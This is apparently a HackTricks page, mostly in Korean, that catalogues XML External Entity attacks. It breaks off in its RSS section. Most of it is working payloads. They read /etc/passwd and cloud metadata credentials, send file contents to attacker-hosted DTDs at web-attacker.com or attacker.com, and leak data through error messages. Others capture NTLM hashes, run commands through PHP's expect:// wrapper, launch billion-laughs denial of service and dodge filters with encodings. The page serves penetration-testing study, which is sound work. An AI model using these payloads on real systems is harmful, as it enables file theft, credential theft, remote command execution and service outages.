XXE - XEE - XML External Entity

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

XML Basics

XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 설명적으로 명명된 태그를 사용할 수 있는 유연한 구조를 특징으로 합니다. XML은 미리 정의된 태그 집합에 제한되지 않기 때문에 HTML과 다릅니다. JSON의 부상으로 XML의 중요성은 감소했지만, AJAX 기술에서의 초기 역할은 여전히 중요합니다.

  • 엔티티를 통한 데이터 표현: XML의 엔티티는 &lt;&gt;와 같은 특수 문자를 포함한 데이터를 표현할 수 있게 해주며, 이는 XML의 태그 시스템과의 충돌을 피하기 위해 <>에 해당합니다.

  • XML 요소 정의: XML은 요소 유형을 정의할 수 있으며, 요소가 어떻게 구조화되어야 하고 어떤 내용을 포함할 수 있는지를 설명합니다. 이는 모든 유형의 콘텐츠에서 특정 자식 요소에 이르기까지 다양합니다.

  • 문서 유형 정의 (DTD): DTD는 XML에서 문서의 구조와 포함할 수 있는 데이터 유형을 정의하는 데 중요합니다. DTD는 내부, 외부 또는 조합으로 존재할 수 있으며, 문서의 형식과 유효성을 안내합니다.

  • 사용자 정의 및 외부 엔티티: XML은 DTD 내에서 사용자 정의 엔티티 생성을 지원하여 유연한 데이터 표현을 가능하게 합니다. URL로 정의된 외부 엔티티는 XML 외부 엔티티(XXE) 공격의 맥락에서 보안 문제를 일으키며, 이는 XML 파서가 외부 데이터 소스를 처리하는 방식을 악용합니다: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>

  • 매개변수 엔티티를 통한 XXE 탐지: XXE 취약점을 탐지하기 위해, 특히 파서 보안 조치로 인해 기존 방법이 실패할 때 XML 매개변수 엔티티를 활용할 수 있습니다. 이러한 엔티티는 DNS 조회 또는 제어된 도메인에 대한 HTTP 요청을 트리거하는 등의 비대면 탐지 기술을 허용하여 취약성을 확인합니다.

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

Main attacks

이 공격의 대부분은 훌륭한 Portswiggers XEE 실험실을 사용하여 테스트되었습니다: https://portswigger.net/web-security/xxe

New Entity test

이 공격에서는 간단한 새로운 ENTITY 선언이 작동하는지 테스트할 것입니다.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

파일 읽기

다양한 방법으로 /etc/passwd를 읽어보겠습니다. Windows에서는 C:\windows\system32\drivers\etc\hosts를 읽어볼 수 있습니다.

첫 번째 경우에서 SYSTEM "**file:///**etc/passwd"도 작동한다는 점에 유의하세요.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

이 두 번째 사례는 웹 서버가 PHP를 사용하는 경우 파일을 추출하는 데 유용해야 합니다 (Portswiggers 실험실의 경우는 아님)

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

이 세 번째 사례에서는 Element stockCheck를 ANY로 선언하고 있음을 주목하세요.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

디렉토리 목록

Java 기반 애플리케이션에서는 XXE를 통해 디렉토리의 내용을 나열할 수 있는 가능성이 있으며, 다음과 같은 페이로드를 사용할 수 있습니다 (파일 대신 디렉토리를 요청하는 경우):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

XXE는 클라우드 내에서 SSRF를 악용하는 데 사용될 수 있습니다.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Blind SSRF

이전에 언급된 기술을 사용하여 서버가 당신이 제어하는 서버에 접근하게 하여 취약성을 보여줄 수 있습니다. 그러나, 만약 그것이 작동하지 않는다면, 아마도 XML 엔티티가 허용되지 않기 때문일 수 있습니다. 이 경우 XML 매개변수 엔티티를 사용해 볼 수 있습니다:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

"Blind" SSRF - Exfiltrate data out-of-band

이번 경우에는 서버가 악성 페이로드가 포함된 새로운 DTD를 로드하도록 하여 파일의 내용을 HTTP 요청을 통해 전송합니다 (다중 행 파일의 경우 _ftp://_를 통해 전송해 볼 수 있습니다. 예를 들어 이 기본 서버 xxe-ftp-server.rb를 사용할 수 있습니다). 이 설명은 Portswiggers lab here를 기반으로 합니다.

주어진 악성 DTD에서는 데이터를 유출하기 위해 일련의 단계가 수행됩니다:

악성 DTD 예시:

구조는 다음과 같습니다:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

The steps executed by this DTD include:

  1. Parameter Entities 정의:

  • XML 파라미터 엔티티인 %file이 생성되어 /etc/hostname 파일의 내용을 읽습니다.

  • 또 다른 XML 파라미터 엔티티인 %eval이 정의됩니다. 이는 동적으로 새로운 XML 파라미터 엔티티인 %exfiltrate를 선언합니다. %exfiltrate 엔티티는 공격자의 서버에 HTTP 요청을 하도록 설정되며, URL의 쿼리 문자열 내에서 %file 엔티티의 내용을 전달합니다.

  1. 엔티티 실행:

  • %eval 엔티티가 사용되어 %exfiltrate 엔티티의 동적 선언이 실행됩니다.

  • 그 후 %exfiltrate 엔티티가 사용되어 파일의 내용을 포함한 HTTP 요청이 지정된 URL로 전송됩니다.

공격자는 이 악성 DTD를 자신이 제어하는 서버에 호스팅하며, 일반적으로 http://web-attacker.com/malicious.dtd와 같은 URL에서 호스팅합니다.

XXE Payload: 취약한 애플리케이션을 악용하기 위해 공격자는 XXE 페이로드를 전송합니다:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

This payload defines an XML parameter entity %xxe and incorporates it within the DTD. When processed by an XML parser, this payload fetches the external DTD from the attacker's server. The parser then interprets the DTD inline, executing the steps outlined in the malicious DTD and leading to the exfiltration of the /etc/hostname file to the attacker's server.

Error Based(External DTD)

이 경우 서버가 파일의 내용을 오류 메시지 안에 표시하는 악성 DTD를 로드하도록 만들 것입니다(오류 메시지를 볼 수 있는 경우에만 유효합니다). 여기서 예시.

악성 외부 문서 유형 정의(DTD)를 사용하여 /etc/passwd 파일의 내용을 드러내는 XML 파싱 오류 메시지를 트리거할 수 있습니다. 이는 다음 단계로 수행됩니다:

  1. /etc/passwd 파일의 내용을 포함하는 file이라는 XML 매개변수 엔터티가 정의됩니다.

  2. eval이라는 XML 매개변수 엔터티가 정의되며, 이는 error라는 또 다른 XML 매개변수 엔터티에 대한 동적 선언을 포함합니다. 이 error 엔터티는 평가될 때 존재하지 않는 파일을 로드하려고 시도하며, file 엔터티의 내용을 이름으로 포함합니다.

  3. eval 엔터티가 호출되어 error 엔터티의 동적 선언이 이루어집니다.

  4. error 엔터티의 호출은 존재하지 않는 파일을 로드하려고 시도하여, 파일 이름의 일부로 /etc/passwd 파일의 내용을 포함하는 오류 메시지를 생성합니다.

악성 외부 DTD는 다음 XML로 호출될 수 있습니다:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Upon execution, the web server's response should include an error message displaying the contents of the /etc/passwd file.

외부 DTD는 두 번째 안에 하나의 엔티티(eval)를 포함할 수 있도록 허용하지만, 내부 DTD에서는 금지됩니다. 따라서 외부 DTD를 사용하지 않고는 오류를 강제할 수 없습니다(일반적으로).

오류 기반 (시스템 DTD)

그렇다면 아웃 오브 밴드 상호작용이 차단된 경우 블라인드 XXE 취약점은 어떻게 될까요?.

XML 언어 사양의 허점은 문서의 DTD가 내부 및 외부 선언을 혼합할 때 오류 메시지를 통해 민감한 데이터를 노출할 수 있습니다. 이 문제는 외부에서 선언된 엔티티의 내부 재정의를 허용하여 오류 기반 XXE 공격의 실행을 용이하게 합니다. 이러한 공격은 외부 DTD에서 원래 선언된 XML 매개변수 엔티티의 재정의를 내부 DTD 내에서 악용합니다. 서버에 의해 아웃 오브 밴드 연결이 차단되면 공격자는 공격을 수행하기 위해 로컬 DTD 파일에 의존해야 하며, 민감한 정보를 드러내기 위해 구문 오류를 유도하는 것을 목표로 합니다.

서버의 파일 시스템에 /usr/local/app/schema.dtd에 DTD 파일이 포함되어 있고, custom_entity라는 엔티티를 정의한다고 가정해 보겠습니다. 공격자는 다음과 같이 하이브리드 DTD를 제출하여 /etc/passwd 파일의 내용을 드러내는 XML 구문 오류를 유도할 수 있습니다:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

The outlined steps are executed by this DTD:

  • XML 매개변수 엔티티 local_dtd의 정의에는 서버의 파일 시스템에 위치한 외부 DTD 파일이 포함됩니다.

  • 외부 DTD에서 원래 정의된 custom_entity XML 매개변수 엔티티에 대한 재정의가 발생하여 오류 기반 XXE 익스플로잇을 캡슐화합니다. 이 재정의는 구문 오류를 유도하여 /etc/passwd 파일의 내용을 노출하도록 설계되었습니다.

  • local_dtd 엔티티를 사용하여 외부 DTD가 활성화되고 새로 정의된 custom_entity가 포함됩니다. 이 일련의 작업은 익스플로잇을 위해 목표로 하는 오류 메시지를 발생시킵니다.

Real world example: GNOME 데스크탑 환경을 사용하는 시스템은 종종 ISOamso라는 엔티티가 포함된 /usr/share/yelp/dtd/docbookx.dtd에 DTD를 가지고 있습니다.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

이 기술은 내부 DTD를 사용하므로 먼저 유효한 DTD를 찾아야 합니다. 이를 위해 서버가 사용하는 동일한 OS / 소프트웨어를 설치하고 기본 DTD를 검색하거나, 시스템 내의 기본 DTD 목록을 가져와서 그 중 어떤 것이 존재하는지 확인할 수 있습니다:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

더 많은 정보는 https://portswigger.net/web-security/xxe/blind에서 확인하세요.

시스템 내 DTD 찾기

다음의 멋진 github 레포지토리에서 시스템에 존재할 수 있는 DTD의 경로를 찾을 수 있습니다:

또한, 피해자 시스템의 Docker 이미지가 있다면, 같은 레포지토리의 도구를 사용하여 이미지스캔하고 시스템 내에 존재하는 DTD의 경로찾을 수 있습니다. 방법을 배우려면 github의 Readme를 읽어보세요.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE via Office Open XML Parsers

이 공격에 대한 더 깊이 있는 설명은 **이 놀라운 포스트 의 두 번째 섹션을 확인하세요.

Microsoft Office 문서를 업로드할 수 있는 기능은 많은 웹 애플리케이션에서 제공됩니다, 이후 이러한 문서에서 특정 세부 정보를 추출합니다. 예를 들어, 웹 애플리케이션은 사용자가 XLSX 형식의 스프레드시트를 업로드하여 데이터를 가져오는 것을 허용할 수 있습니다. 파서가 스프레드시트에서 데이터를 추출하기 위해서는 반드시 하나 이상의 XML 파일을 파싱해야 합니다.

이 취약점을 테스트하기 위해서는 XXE 페이로드가 포함된 Microsoft Office 파일을 생성해야 합니다. 첫 번째 단계는 문서를 압축 해제할 수 있는 빈 디렉토리를 만드는 것입니다.

문서의 압축이 해제되면 ./unzipped/word/document.xml에 위치한 XML 파일을 선호하는 텍스트 편집기(예: vim)에서 열고 편집해야 합니다. XML은 원하는 XXE 페이로드를 포함하도록 수정되어야 하며, 종종 HTTP 요청으로 시작합니다.

수정된 XML 라인은 두 개의 루트 XML 객체 사이에 삽입되어야 합니다. 요청을 모니터링할 수 있는 URL로 URL을 교체하는 것이 중요합니다.

마지막으로, 파일을 압축하여 악성 poc.docx 파일을 생성할 수 있습니다. 이전에 생성된 "unzipped" 디렉토리에서 다음 명령을 실행해야 합니다:

이제 생성된 파일을 잠재적으로 취약한 웹 애플리케이션에 업로드할 수 있으며, Burp Collaborator 로그에 요청이 나타나기를 기대할 수 있습니다.

Jar: protocol

jar 프로토콜은 Java 애플리케이션 내에서만 접근할 수 있도록 설계되었습니다. 이는 PKZIP 아카이브(예: .zip, .jar 등) 내에서 파일 접근을 가능하게 하며, 로컬 및 원격 파일 모두를 지원합니다.

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

PKZIP 파일 내부의 파일에 접근할 수 있는 것은 시스템 DTD 파일을 통해 XXE를 악용하는 데 매우 유용합니다. 시스템 DTD 파일을 악용하는 방법을 배우려면 이 섹션을 확인하세요.

PKZIP 아카이브 내의 파일에 접근하는 과정은 여러 단계를 포함합니다:

  1. https://download.website.com/archive.zip와 같은 지정된 위치에서 zip 아카이브를 다운로드하기 위해 HTTP 요청이 이루어집니다.

  2. 아카이브를 포함하는 HTTP 응답은 시스템에 임시로 저장되며, 일반적으로 /tmp/...와 같은 위치에 저장됩니다.

  3. 아카이브가 추출되어 그 내용을 접근합니다.

  4. 아카이브 내의 특정 파일인 file.zip이 읽힙니다.

  5. 작업 후, 이 과정에서 생성된 임시 파일은 삭제됩니다.

이 과정의 두 번째 단계에서 이 프로세스를 중단하는 흥미로운 기술은 아카이브 파일을 제공할 때 서버 연결을 무한정 열어두는 것입니다. 이 저장소에서 사용할 수 있는 도구에는 Python 서버(slow_http_server.py)와 Java 서버(slowserver.jar)가 포함됩니다.

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

임시 디렉토리에 파일을 작성하는 것은 경로 탐색과 관련된 다른 취약점을 상승시키는 데 도움이 될 수 있습니다 (예: 로컬 파일 포함, 템플릿 주입, XSLT RCE, 역직렬화 등).

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

억만 웃음 공격

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Yaml 공격

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Quadratic Blowup Attack

NTML 얻기

Windows 호스트에서는 responder.py 핸들러를 설정하여 웹 서버 사용자의 NTML 해시를 얻을 수 있습니다:

Responder.py -I eth0 -v

다음 요청을 보내면

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

Then you can try to crack the hash using hashcat

Hidden XXE Surfaces

XInclude

서버 측 XML 문서에 클라이언트 데이터를 통합할 때, 백엔드 SOAP 요청과 같은 경우, XML 구조에 대한 직접적인 제어가 종종 제한되어 DOCTYPE 요소를 수정하는 데 제약이 있어 전통적인 XXE 공격이 어려워집니다. 그러나 XInclude 공격은 XML 문서의 데이터 요소 내에 외부 엔티티를 삽입할 수 있도록 하여 해결책을 제공합니다. 이 방법은 서버에서 생성된 XML 문서 내의 데이터 일부만 제어할 수 있는 경우에도 효과적입니다.

XInclude 공격을 실행하려면 XInclude 네임스페이스를 선언하고, 의도한 외부 엔티티의 파일 경로를 지정해야 합니다. 아래는 이러한 공격을 어떻게 구성할 수 있는지에 대한 간결한 예입니다:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Check https://portswigger.net/web-security/xxe for more info!

SVG - 파일 업로드

사용자가 특정 애플리케이션에 업로드한 파일은 서버에서 처리되며, XML 또는 XML을 포함하는 파일 형식이 처리되는 방식의 취약점을 악용할 수 있습니다. 오피스 문서(DOCX) 및 이미지(SVG)와 같은 일반적인 파일 형식은 XML을 기반으로 합니다.

사용자가 이미지를 업로드할 때, 이러한 이미지는 서버 측에서 처리되거나 검증됩니다. PNG 또는 JPEG와 같은 형식을 기대하는 애플리케이션의 경우에도 서버의 이미지 처리 라이브러리는 SVG 이미지를 지원할 수 있습니다. XML 기반 형식인 SVG는 공격자가 악성 SVG 이미지를 제출하여 서버를 XXE(XML External Entity) 취약점에 노출시킬 수 있습니다.

아래는 시스템 파일을 읽으려는 악성 SVG 이미지의 예입니다:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

또 다른 방법은 PHP "expect" 래퍼를 통해 명령 실행을 시도하는 것입니다:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

두 경우 모두 SVG 형식이 서버 소프트웨어의 XML 처리 기능을 악용하는 공격을 시작하는 데 사용되며, 이는 강력한 입력 검증 및 보안 조치의 필요성을 강조합니다.

자세한 내용은 https://portswigger.net/web-security/xxe를 확인하세요!

읽기 파일의 첫 번째 줄 또는 실행 결과는 생성된 이미지 내부에 나타납니다. 따라서 SVG가 생성한 이미지에 접근할 수 있어야 합니다.

PDF - 파일 업로드

다음 게시물을 읽고 PDF 파일을 업로드하여 XXE를 악용하는 방법을 배우세요:

PDF Upload - XXE and CORS bypass

Content-Type: x-www-urlencoded에서 XML로

POST 요청이 XML 형식의 데이터를 수용하는 경우, 해당 요청에서 XXE를 악용할 수 있습니다. 예를 들어, 일반 요청이 다음을 포함하는 경우:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

그럼 다음 요청을 제출할 수 있을 것입니다. 같은 결과를 얻을 수 있습니다:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: From JSON to XEE

요청을 변경하려면 “Content Type Converter”라는 Burp 확장을 사용할 수 있습니다. 여기에서 이 예제를 찾을 수 있습니다:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

또 다른 예는 여기에서 찾을 수 있습니다.

WAF 및 보호 우회

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

이것은 XML 서버가 data:// 프로토콜을 수용할 때만 작동합니다.

UTF-7

여기서 ["Encode Recipe" of cyberchef를 사용하여]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) UTF-7로 변환합니다.

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

File:/ Protocol Bypass

웹이 PHP를 사용하고 있다면, file:/ 대신 php wrappersphp://filter/convert.base64-encode/resource=를 사용하여 내부 파일에 접근할 수 있습니다.

웹이 Java를 사용하고 있다면 jar: protocol을 확인할 수 있습니다.

HTML Entities

https://github.com/Ambrotd/XXE-Notes에서의 트릭 html entities로 인코딩된 엔티티 안에 엔티티를 생성한 다음, 이를 호출하여 dtd로드할 수 있습니다. 사용되는 HTML Entities숫자여야 합니다 (예를 들어 [이 예제에서](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

DTD 예제:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP Wrappers

Base64

추출 index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

외부 리소스 추출

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

원격 코드 실행

PHP "expect" 모듈이 로드된 경우

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

이 예시는 https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe에서 영감을 받았습니다.

XLIFF (XML Localization Interchange File Format)는 현지화 프로세스에서 데이터 교환을 표준화하는 데 사용됩니다. 이는 주로 현지화 중 도구 간에 지역화 가능한 데이터를 전송하고 CAT (Computer-Aided Translation) 도구를 위한 공통 교환 형식으로 사용되는 XML 기반 형식입니다.

Blind Request Analysis

다음 내용을 포함하여 서버에 요청이 전송됩니다:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

그러나 이 요청은 내부 서버 오류를 발생시키며, 특히 마크업 선언과 관련된 문제를 언급합니다:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

버프 콜라보레이터에서 오류에도 불구하고 히트가 기록되어 외부 엔티티와의 상호작용이 어느 정도 있음을 나타냅니다.

Out of Band Data Exfiltration 데이터를 유출하기 위해 수정된 요청이 전송됩니다:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

이 접근 방식은 User Agent가 Java 1.8의 사용을 나타낸다는 것을 보여줍니다. 이 버전의 Java의 주목할 만한 제한 사항은 Out of Band 기술을 사용하여 /etc/passwd와 같은 줄 바꿈 문자가 포함된 파일을 검색할 수 없다는 것입니다.

Error-Based Data Exfiltration 이 제한을 극복하기 위해 Error-Based 접근 방식이 사용됩니다. DTD 파일은 다음과 같이 구조화되어 대상 파일의 데이터를 포함하는 오류를 유발합니다:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

서버는 오류로 응답하며, 중요하게도 존재하지 않는 파일을 반영하고, 서버가 지정된 파일에 접근하려고 시도하고 있음을 나타냅니다:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

파일의 내용을 오류 메시지에 포함시키기 위해 DTD 파일이 조정됩니다:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

이 수정은 HTTP를 통해 전송된 오류 출력에 반영되므로 파일 내용의 성공적인 유출로 이어집니다. 이는 민감한 정보를 추출하기 위해 Out of Band 및 Error-Based 기술을 모두 활용한 성공적인 XXE (XML External Entity) 공격을 나타냅니다.

RSS - XEE

XXE 취약점을 악용하기 위한 RSS 형식의 유효한 XML.

Ping back

공격자의 서버로의 간단한 HTTP 요청

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
